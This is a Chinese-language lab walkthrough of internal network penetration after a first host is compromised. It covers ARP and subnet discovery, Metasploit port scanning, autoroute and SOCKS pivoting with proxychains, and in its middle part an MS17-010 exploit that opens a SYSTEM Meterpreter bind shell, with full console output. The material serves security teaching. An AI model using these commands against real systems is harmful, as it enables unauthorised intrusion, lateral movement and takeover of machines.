收集内网 IP ,进行端口扫描。

内网渗透-端口扫描

可以说内网渗透测试,其本质就是信息收集。信息收集的深度,直接关系到内网渗透测试的成败。当你拿下内网的一台主机后,面对的是一片未知的区域,所以首先要做的就是对当前所处的网络环境进行判断。包括以下几点:

  • 对当前机器角色的判断
  • 对当前机器所处的网络环境进行判断
  • 对当前机器所处的网络区域进行判断

通过 ARP 缓存发现内网存活主机

ARP 全称为 Address Resolution Protocol ,即地址解析协议,它是一个根据 IP 地址获取物理地址的 TCP/IP 协议,主机发送信息时将包含目标 IP 地址的 ARP 请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后将该 IP 地址和物理地址存入本机 ARP 缓存中并保留一定时间,下次请求时直接查询 ARP 缓存以节约资源。

因此,可以通过查看 arp 缓存来发现内网主机:

1
arp -a

发现 52 网段的其他存活主机,如 192.168.52.138,192.168.52.143 :

至于这里的 192.168.52.1,192.168.52.254,192.168.52.255 都是无关紧要的网关或者广播地址之类的,不用管。

那么就提取到了两个已知目标:

1
2
192.168.52.138        00-0c-29-1e-96-24     dynamic
192.168.52.143 00-0c-29-22-d2-55 dynamic

除此之外,也可以通过 msf 查看路由信息,发现内网网段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > run get_local_subnets

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.43.0/255.255.255.0
Local subnet: 192.168.52.0/255.255.255.0
Local subnet: ::/ffff:ffff::
Local subnet: ::1/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Local subnet: 2408:8453:f53a:68a8::/ffff:ffff:ffff:ffff:ffff:ffff::
Local subnet: 2408:8453:f53a:68a8:e8b6:6970:f9e1:6003/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Local subnet: fe80::/ffff:ffff:ffff:ffff:ffff:ffff::
Local subnet: fe80::/ffff:ffff:ffff:ffff:ffff:ffff::
Local subnet: fe80::cc27:7c90:8e9e:d18e/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Local subnet: fe80::e8b6:6970:f9e1:6003/ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Local subnet: ff00::/ff00::
Local subnet: ff00::/ff00::
Local subnet: ff00::/ff00::

msf 内网端口扫描

msf 端口扫描的模块

先查看一下支持的端口扫描类型:

ACK 防火墙扫描
1
use auxiliary/scanner/portscan/ack
SYN 端口扫描
1
use auxiliary/scanner/portscan/syn

通过 wireshark 抓包可以看到,底层是通过发送 SYN 数据包去建立三次握手,通过回应的数据包来判断端口是否打开:

TCP 端口扫描
1
use auxiliary/scanner/portscan/tcp

同样使用 wireshark 抓包查看,发现和 SYN 扫描原理差不多,区别在于这种扫描会完成三次握手的连接,SYN 扫描直接发送一个 RST 数据包去拒绝连接:

xmas 扫描
1
use auxiliary/scanner/portscan/xmas

xmas 扫描通过发送 fin 数据包,根据目标端口是否有回应来判断端口是否打开:

扫描各服务版本

msf 两种内网扫描方式

对上述两个目标进行端口或服务扫描,可以通过配置 msf 路由和 msf 代理来实现。

msf 路由

通过添加路由的方式让 kali 能访问到内网中的其他机器。

打印路由表:

1
meterpreter > run autoroute -p

添加路由至本地(添加完后记得再打印一次路由表看添加是否成功):

1
2
3
4
5
6
7
8
# meterpreter 原始方法
meterpreter > run autoroute -s 192.168.52.0/24

# 或者使用新方法自动添加路由
meterpreter > run post/multi/manage/autoroute

# 或者在 msf 控制台中添加路由
msf6 exploit(multi/handler) > route add 192.168.52.0/24 [session ID]

退回至 msf 控制台:

1
meterpreter > background

在 msf 控制台打印路由表:

1
msf6 exploit(multi/handler) > route print

msf 使用端口扫描模块(TCP 端口扫描器):

1
msf6 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp

auxiliary/scanner/portscan/tcp 模块设置:

1
2
3
4
set rhosts 192.168.52.138	#设置要扫描的内网IP
set threads 10 #设置线程数,影响速度快慢
set ports 1-500 #设置要扫描的端口范围
run #开始扫描
MS17-010 内网渗透

搜索有关此漏洞的利用模块:

1
search ms17-010

使用 exploit/windows/smb/ms17_010_psexec 模块:

1
use 1

模块选项设置:

1
set rhost 192.168.52.138

开始执行:

1
run

执行结果:

1
Exploit completed, but no session was created.

前面的执行都不报错,最后出现这种结果,是因为 kali 能通过各种方式访问到内网中的机器,而内网中的机器无法访问到 kali ,因此无法建立反弹 shell

既然反弹 shell 不行,那就建立正向连接。可以看到,该模块默认的 payload 为 windows/meterpreter/reverse_tcp

将 payload 改为 windows/meterpreter/bind_tcp 正向连接(kali 主动去连接目标机器):

1
set payload windows/meterpreter/bind_tcp

再次执行,成功获取连接:

1
2
3
4
5
6
7
8
9
10
11
msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] 192.168.52.138:445 - Target OS: Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[*] 192.168.52.138:445 - Built a write-what-where primitive...
[+] 192.168.52.138:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.52.138:445 - Selecting PowerShell target
[*] 192.168.52.138:445 - Executing the payload...
[+] 192.168.52.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.52.138:4444
[*] Sending stage (176198 bytes) to 192.168.52.138
[*] Meterpreter session 9 opened (192.168.52.128:51814 -> 192.168.52.138:4444 via session 8) at 2024-04-13 00:31:52 -0400

查看系统信息:

1
2
3
4
5
6
7
8
meterpreter > sysinfo
Computer : OWA
OS : Windows Server 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : GOD
Logged On Users : 3
Meterpreter : x86/windows
msf 代理

简单地说,就是将 kali 能够直接访问到的机器作为代理,进而访问内网中的其他机器。想要配置 msf 代理,那么必须先配置好 msf 路由。

socks 协议

socks 协议工作在会话层,能为各种协议提供代理服务。socks4 与 socks5 的区别在于除了 tcp 协议外,socks5 还支持 udp 协议。

使用 auxiliary/server/socks_proxy 模块设置代理:

1
use auxiliary/server/socks_proxy

直接运行即可:

1
run

查看代理设置是否成功:

1
jobs

设置成功之后就可以利用此代理进行内网扫描了。

关闭代理:

1
2
jobs -k [ID] #关闭指定ID的代理
jobs -K #关闭所有代理

**利用 proxychains 使用此代理(当然在其他地方用也是可以的) **

在 proxychains 配置文件的最后一行添加如下内容:

1
socks5 127.0.0.1 1080

测试代理配置是否成功:

1
proxychains curl http://192.168.52.143/

成功得到返回值,说明此时能够访问内网。

那么就可以利用 namp 之类的工具进行扫描了,比如主机发现(未验证成功):

1
proxychains nmap -sn 192.168.52.0/24

再比如 dirb 目录扫描:

1
proxychains dirb http://192.168.52.143/

不过,由于 socks5 仅支持 TCP/UDP 及以上协议,所以有些不使用这些协议的工具是没办法用 socks 代理的。

使用 msf 进行主机发现

设置好代理之后也可以用 msf 的模块进行内网主机发现。

使用 auxiliary/scanner/discovery/udp_sweep 模块进行内网主机发现:

1
use auxiliary/scanner/discovery/udp_sweep

设置模块:

1
2
3
set rhosts 192.168.52.0/24
set threads 50
run